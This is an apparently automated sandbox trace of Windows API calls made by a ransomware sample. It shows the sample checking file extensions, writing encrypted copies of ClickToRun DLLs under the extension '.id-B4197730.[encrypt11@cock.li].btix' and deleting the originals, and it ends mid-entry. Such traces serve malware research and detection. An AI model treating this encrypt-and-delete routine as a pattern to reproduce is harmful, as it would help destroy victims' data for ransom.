lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.083] lstrlenW (lpString=".jpg") returned 4 [0055.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.084] lstrlenW (lpString=".doc") returned 4 [0055.084] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.084] lstrlenW (lpString=".docx") returned 5 [0055.084] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.084] lstrlenW (lpString=".pdf") returned 4 [0055.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.084] lstrlenW (lpString=".xls") returned 4 [0055.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.084] lstrlenW (lpString=".xlsx") returned 5 [0055.084] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.084] lstrlenW (lpString=".ppt") returned 4 [0055.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.084] lstrlenW (lpString=".zip") returned 4 [0055.084] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.084] lstrlenW (lpString=".rar") returned 4 [0055.084] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.084] lstrlenW (lpString=".bz2") returned 4 [0055.084] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.084] lstrlenW (lpString=".7z") returned 3 [0055.084] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.084] lstrlenW (lpString=".dbf") returned 4 [0055.084] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.085] lstrlenW (lpString=".1cd") returned 4 [0055.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0055.085] lstrlenW (lpString=".jpg") returned 4 [0055.085] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.085] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.085] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0055.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.085] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=70848) returned 1 [0055.085] CloseHandle (hObject=0x31c) returned 1 [0055.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0055.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.085] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.085] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.086] GetLastError () returned 0x0 [0055.086] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x114c0, lpOverlapped=0x0) returned 1 [0055.108] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x114d0, lpOverlapped=0x0) returned 1 [0055.109] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.110] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x116, lpOverlapped=0x0) returned 1 [0055.110] SetEndOfFile (hFile=0x320) returned 1 [0055.110] CloseHandle (hObject=0x320) returned 1 [0055.111] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.111] SetEndOfFile (hFile=0x31c) returned 1 [0055.113] CloseHandle (hObject=0x31c) returned 1 [0055.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.113] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0055.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.113] lstrlenW (lpString=".doc") returned 4 [0055.113] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.113] lstrlenW (lpString=".docx") returned 5 [0055.113] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.113] lstrlenW (lpString=".pdf") returned 4 [0055.113] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.113] lstrlenW (lpString=".xls") returned 4 [0055.113] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.113] lstrlenW (lpString=".xlsx") returned 5 [0055.113] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.113] lstrlenW (lpString=".ppt") returned 4 [0055.113] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.114] lstrlenW (lpString=".zip") returned 4 [0055.114] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString=".rar") returned 4 [0055.114] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString=".bz2") returned 4 [0055.114] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.114] lstrlenW (lpString=".7z") returned 3 [0055.114] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.114] lstrlenW (lpString=".dbf") returned 4 [0055.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.114] lstrlenW (lpString=".1cd") returned 4 [0055.114] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.114] lstrlenW (lpString=".jpg") returned 4 [0055.114] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.114] lstrlenW (lpString=".doc") returned 4 [0055.114] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString=".docx") returned 5 [0055.114] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.114] lstrlenW (lpString=".pdf") returned 4 [0055.114] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString=".xls") returned 4 [0055.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString=".xlsx") returned 5 [0055.114] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.114] lstrlenW (lpString=".ppt") returned 4 [0055.114] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.114] lstrlenW (lpString=".zip") returned 4 [0055.114] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.114] lstrlenW (lpString=".rar") returned 4 [0055.115] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.115] lstrlenW (lpString=".bz2") returned 4 [0055.115] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.115] lstrlenW (lpString=".7z") returned 3 [0055.115] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.115] lstrlenW (lpString=".dbf") returned 4 [0055.115] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.115] lstrlenW (lpString=".1cd") returned 4 [0055.115] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0055.115] lstrlenW (lpString=".jpg") returned 4 [0055.115] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.115] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.115] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0055.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.115] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=19648) returned 1 [0055.115] CloseHandle (hObject=0x31c) returned 1 [0055.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0055.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.116] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.116] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.116] GetLastError () returned 0x0 [0055.116] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0055.134] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0055.135] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.135] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x116, lpOverlapped=0x0) returned 1 [0055.135] SetEndOfFile (hFile=0x320) returned 1 [0055.135] CloseHandle (hObject=0x320) returned 1 [0055.136] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.136] SetEndOfFile (hFile=0x31c) returned 1 [0055.137] CloseHandle (hObject=0x31c) returned 1 [0055.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.137] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0055.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.137] lstrlenW (lpString=".doc") returned 4 [0055.137] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString=".docx") returned 5 [0055.138] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.138] lstrlenW (lpString=".pdf") returned 4 [0055.138] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString=".xls") returned 4 [0055.138] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString=".xlsx") returned 5 [0055.138] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.138] lstrlenW (lpString=".ppt") returned 4 [0055.138] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.138] lstrlenW (lpString=".zip") returned 4 [0055.138] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString=".rar") returned 4 [0055.138] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString=".bz2") returned 4 [0055.138] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.138] lstrlenW (lpString=".7z") returned 3 [0055.138] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.138] lstrlenW (lpString=".dbf") returned 4 [0055.138] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.138] lstrlenW (lpString=".1cd") returned 4 [0055.138] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.138] lstrlenW (lpString=".jpg") returned 4 [0055.138] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.138] lstrlenW (lpString=".doc") returned 4 [0055.138] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.138] lstrlenW (lpString=".docx") returned 5 [0055.138] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.139] lstrlenW (lpString=".pdf") returned 4 [0055.139] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.139] lstrlenW (lpString=".xls") returned 4 [0055.139] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.139] lstrlenW (lpString=".xlsx") returned 5 [0055.139] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.139] lstrlenW (lpString=".ppt") returned 4 [0055.139] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.139] lstrlenW (lpString=".zip") returned 4 [0055.139] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.139] lstrlenW (lpString=".rar") returned 4 [0055.139] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.139] lstrlenW (lpString=".bz2") returned 4 [0055.139] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.139] lstrlenW (lpString=".7z") returned 3 [0055.139] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.139] lstrlenW (lpString=".dbf") returned 4 [0055.139] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.139] lstrlenW (lpString=".1cd") returned 4 [0055.139] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0055.139] lstrlenW (lpString=".jpg") returned 4 [0055.139] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.139] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.139] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0055.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.140] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=23232) returned 1 [0055.140] CloseHandle (hObject=0x31c) returned 1 [0055.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0055.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.141] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.141] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.141] GetLastError () returned 0x0 [0055.141] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0055.168] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0055.169] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.170] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x116, lpOverlapped=0x0) returned 1 [0055.170] SetEndOfFile (hFile=0x320) returned 1 [0055.170] CloseHandle (hObject=0x320) returned 1 [0055.171] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.171] SetEndOfFile (hFile=0x31c) returned 1 [0055.172] CloseHandle (hObject=0x31c) returned 1 [0055.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.172] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0055.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.173] lstrlenW (lpString=".doc") returned 4 [0055.173] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.173] lstrlenW (lpString=".docx") returned 5 [0055.173] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.173] lstrlenW (lpString=".pdf") returned 4 [0055.173] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.173] lstrlenW (lpString=".xls") returned 4 [0055.173] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.173] lstrlenW (lpString=".xlsx") returned 5 [0055.173] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.173] lstrlenW (lpString=".ppt") returned 4 [0055.173] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0055.173] lstrlenW (lpString=".zip") returned 4 [0055.173] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.173] lstrlenW (lpString=".rar") returned 4 [0055.173] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.173] lstrlenW (lpString=".bz2") returned 4 [0055.173] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.173] lstrlenW (lpString=".7z") returned 3 [0055.173] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.173] 